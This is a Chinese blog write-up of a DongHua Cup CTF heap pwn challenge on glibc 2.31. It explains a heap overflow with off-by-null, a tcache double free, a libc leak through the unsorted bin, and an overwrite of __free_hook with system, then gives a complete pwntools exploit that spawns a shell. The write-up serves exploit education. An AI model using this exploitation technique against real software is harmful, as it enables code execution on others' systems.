从自己的csdn搬来的,还带着水印,懒得弄了()
前一阵子东华杯的pwn题,比赛时候没做出来,说起来那时候我才刚学到fastbin attack,天天在和libc2.23打交道,比赛的时候时候看见libc全是2.31的……孩子人都傻了,遂去misc划水。。。(r n m,退钱!)
现在终于看了tcache,寻思试一下之前的赛题,于是有了这篇博客,做起来发现,好像并没有那么难?
我本地的环境就是2.31的,所以就在本地尝试复现了一下,文件已经传到了网盘,想复现的师傅们可以在这里下载 提取码:xymi
分析
main函数如下
菜单
new
new中允许自定义index(0 <= index <= 16)和size(size < 0xff),并不填充内容
change
漏洞点在这里,change中指定index填充内容,但是不对内容长度做检查,存在堆溢出,其中cin会在字符串末尾自动添加’\0’,可以off-by-null
show
show可以打印堆块内容,可以用来泄露
delete
利用
通过利用tcache的不严谨和off-by-null,我们可以制造出double free
的情况,在此基础上,将特定大小的tcache填充满(一般是七个)之后【这里是绕过tcache】,新free的small bin大小的堆块将会首先被放到unsorted bin中,利用unsorted bin的双向循环链表
的特性,当其中只有一个堆块时,它的fd和bk指针都会指向链表头也就是unsorted bin,此时就可以通过show
来泄露libc基址
然后就是非常简单的了,利用堆溢出修改tcache链表中的fd指针,就可以申请到__free_hook
,通过change修改成system,,再向可控堆块内写入’/bin/sh\x00’,就大功告成了
这里不得不说,tcache的检查实在是太松散了,连堆块大小都不检查的,比fastbin舒服多了()
详解
首先申请五个堆块 这里chunk0的作用是让chunk1的用户操作段起始地址(即chunk1+0x10)末位为’\x00’,方便一会off-by-null,以后也不会再用到,index就申请为16了
new(b'16', b'48') # chunk0
new(b'0', b'144') # chunk1
new(b'1', b'16') # chunk2
new(b'2', b'16') # chunk3
new(b'3', b'16') # chunk4
删除index 2、1, 此时 tcache -> chunk2 -> chunk3 -> null
delete(b'2')
delete(b'1')
off-by-null 部分写chunk2的fd 此时tcache -> chunk2 -> chunk1
change(b'0', b'\x00' * 0x98 + p64(0x21))
再连续申请两次,构造出double free,tcache清空
# double free idx 0 and idx 5
new(b'4', b'16') # chunk2
new(b'5', b'16') # chunk1
塞满tcache tcache -> index6 -> 7 ->8 -> 9 -> 10 -> 11 -> 12
new(b'6', b'144')
new(b'7', b'144')
new(b'8', b'144')
new(b'9', b'144')
new(b'10', b'144')
new(b'11', b'144')
new(b'12', b'144')
delete(b'12')
delete(b'11')
delete(b'10')
delete(b'9')
delete(b'8')
delete(b'7')
delete(b'6')
泄露libc
delete(b'0')
show(b'5')
main_arena = u64(io.recvline()[:-1].ljust(8, b'\x00'))
print('main_arena -> ' + hex(main_arena))
libc_addr = main_arena - 0x1ebb80 - 96
print('libc_addr -> ' + hex(libc_addr))
申请到__free_hook
先改tcache为
tchche -> 6 -> __free_hook
再连续申请两次
hook = libc.symbols['__free_hook'] + libc_addr
sys = libc.symbols['system'] + libc_addr
change(b'3', p64(0) * 3 + p64(0xa1) + p64(hook))
# 申请到free_hook的地址
new(b'6', b'144')
new(b'7', b'144')
getshell
change(b'7', p64(sys))
change(b'6', b'/bin/sh\x00')
delete(b'6')
完整exp
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
io = process('./dh_pwn')
# gdb.attach(io)
elf = ELF('./dh_pwn')
libc = ELF('./libc.so.6')
def new(idx, size):
io.recvuntil(b'>>\n')
io.sendline(b'1')
io.recvuntil(b'I:>>\n')
io.sendline(idx)
io.recvuntil(b'S:>>\n')
io.sendline(size)
def change(idx, content):
io.recvuntil(b'>>\n')
io.sendline(b'2')
io.recvuntil(b'I:>>\n')
io.sendline(idx)
io.recvuntil(b'V:>>\n')
io.sendline(content)
def show(idx):
io.recvuntil(b'>>\n')
io.sendline(b'3')
io.recvuntil(b'I:>>\n')
io.sendline(idx)
def delete(idx):
io.recvuntil(b'>>\n')
io.sendline(b'4')
io.recvuntil(b'I:>>\n')
io.sendline(idx)
new(b'16', b'48') # chunk0
new(b'0', b'144') # chunk1
new(b'1', b'16') # chunk2
new(b'2', b'16') # chunk3
new(b'3', b'16') # chunk4
delete(b'2')
delete(b'1')
change(b'0', b'\x00' * 0x98 + p64(0x21))
# double free idx 0 and idx 5
new(b'4', b'16') # chunk2
new(b'5', b'16') # chunk1
new(b'6', b'144')
new(b'7', b'144')
new(b'8', b'144')
new(b'9', b'144')
new(b'10', b'144')
new(b'11', b'144')
new(b'12', b'144')
delete(b'12')
delete(b'11')
delete(b'10')
delete(b'9')
delete(b'8')
delete(b'7')
delete(b'6')
delete(b'0')
show(b'5')
main_arena = u64(io.recvline()[:-1].ljust(8, b'\x00'))
print('main_arena -> ' + hex(main_arena))
libc_addr = main_arena - 0x1ebb80 - 96
print('libc_addr -> ' + hex(libc_addr))
hook = libc.symbols['__free_hook'] + libc_addr
sys = libc.symbols['system'] + libc_addr
change(b'3', p64(0) * 3 + p64(0xa1) + p64(hook))
# 申请到free_hook的地址
new(b'6', b'144')
new(b'7', b'144')
# onegad = libc_addr + 0xe6e76
change(b'7', p64(sys))
change(b'6', b'/bin/sh\x00')
delete(b'6')
io.interactive()